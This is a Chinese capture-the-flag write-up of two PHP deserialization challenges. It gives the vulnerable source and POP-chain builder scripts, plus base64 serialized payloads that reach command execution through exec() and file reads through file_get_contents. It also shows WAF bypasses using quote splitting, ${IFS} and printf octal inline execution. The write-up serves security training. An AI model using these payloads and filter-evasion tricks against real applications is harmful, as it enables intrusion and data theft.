
反序列化漏洞 攻防世界+长城杯赛题
unseping
给出源码
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) { $this->method = $method; $this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){ exec($ip, $result); var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) { $this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
首先进行代码审计
整体思路
1.给了一个ease类,可以看到ping方法中有exec()函数,这是可以rce的点
2.__destruct方法中有call_user_func_array()
call_user_func_array()是 PHP 中一个非常有用的函数,用于动态调用回调函数,并将参数作为数组传递。
代码解析
call_user_func_array(array($this, $this->method), $this->args);
| 部分 | 含义 |
|---|---|
call_user_func_array() |
调用回调函数的函数 |
array($this, $this->method) |
第一个参数:指定要调用的方法 |
$this->args |
第二个参数:传递给方法的参数数组 |
3.触发__destruct方法从而执行call_user_func_array(),执行call_user_func_array()调用类方法ping,执行exec()危险函数 其中call_user_func_array()第一个参数应为‘ping’,第二个参数就是rce的点
具体实现
1.需要让if (in_array($this->method, array("ping")))语句成立,意思是检查数组中是否存在值‘ping’,注意call_user_func_array()内的参数都是数组,而这里代码中array($this, $this->method)自动给我们创建了一个数组,所以在为method的赋值时候就不需要额外赋值成数组了,但第二个参数就需要了
2.ping方法中的$ip是由call_user_func_array()中的args传递,这里的args需要赋值成数组再传参
3.构造pop链
<?php
class ease{
private $method='ping';
private $args=array('ls');
}
echo serialize(new ease);
?>
运行结果
O:4:"ease":2:{s:12:"�ease�method";s:4:"ping";s:10:"�ease�args";a:1:{i:0;s:2:"ls";}}
其中的不可见字符需要单独修改

base64编码后得到
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyOiJscyI7fX0=
提交 页面显示
don't hackNULL
因为在反序列化的时候会触发__wakeup方法,其中又会调用waf方法,waf中存在正则if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array))
本来是想利用CVE-2016-7124直接wakeup绕过的
但是发现好像不存在这个漏洞
所以还是尝试绕过正则
尝试引号绕过
将ls替换成l''s
payload变为
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsJydzIjt9fQ==
回显内容
array(2) { [0]=> string(12) "flag_1s_here" [1]=> string(9) "index.php" }
接下来执行命令
l''s${IFS}fl''ag_1s_here
payload
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCcncyR7SUZTfWZsJydhZ18xc19oZXJlIjt9fQ==
回显
array(1) { [0]=> string(25) "flag_831b69012c67b35f.php" }
接下里执行的命令应该是 cat flag_1s_here/flag_831b69012c67b35f.php
但是 ‘/’难以绕过
看了别人提供的思路 通过内联执行绕过
将'/'替换成printf${IFS}('\057')$(printf${IFS}"\57")
ca''t${IFS}fl''ag_1s_here$(printf${IFS}"\57")fl''ag_831b69012c67b35f.ph''p
payload
Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3NDoiY2EnJ3Qke0lGU31mbCcnYWdfMXNfaGVyZSQocHJpbnRmJHtJRlN9Ilw1NyIpZmwnJ2FnXzgzMWI2OTAxMmM2N2IzNWYucGgnJ3AiO319
结果
array(2) { [0]=> string(5) " string(47) "//$cyberpeace{4ccb6d1a14dd3f277baf91f1853a9044}" }

第三届长城杯防护赛
因为有源码 所以把环境在本地复现了一下
打开题目 就一张图片 什么也没有

但这张图片是以.php结尾的
把文件下载下来
查看文件 末尾有源码
<?php
error_reporting(0);
class A {
public $handle;
public function triggerMethod() {
echo "" . $this->handle;
}
}
class B {
public $worker;
public $cmd;
public function __toString() {
return $this->worker->result;
}
}
class C {
public $cmd;
public function __get($name) {
echo file_get_contents($this->cmd);
}
}
$raw = isset($_POST['data']) ? $_POST['data'] : '';
header('Content-Type: image/jpeg');
readfile("muzujijiji.jpg");
highlight_file(__FILE__);
$obj = unserialize($_POST['data']);
$obj->triggerMethod();
可控点是类c中的__get方法,会执行echo file_get_contents($this->cmd);的操作
只要把cmd的值变成flag的相关文件即可
其核心触发链是:对象被当作字符串使用 → 触发 __toString→ 访问不存在的属性 → 触发 __get。
构造pop链
<?php
error_reporting(0);
class A {
public $handle;
}
class B {
public $worker;
public $cmd;
}
class C {
public $cmd;
}
$a=new A();
$a->handle=new B();
$a->handle->worker=new C();
$a->handle->worker->cmd="flag.txt";
echo serialize($a);
payload
O:1:"A":1:{s:6:"handle";O:1:"B":2:{s:6:"worker";O:1:"C":1:{s:3:"cmd";s:8:"flag.txt";}s:3:"cmd";N;}}
最后在响应头中查看flag



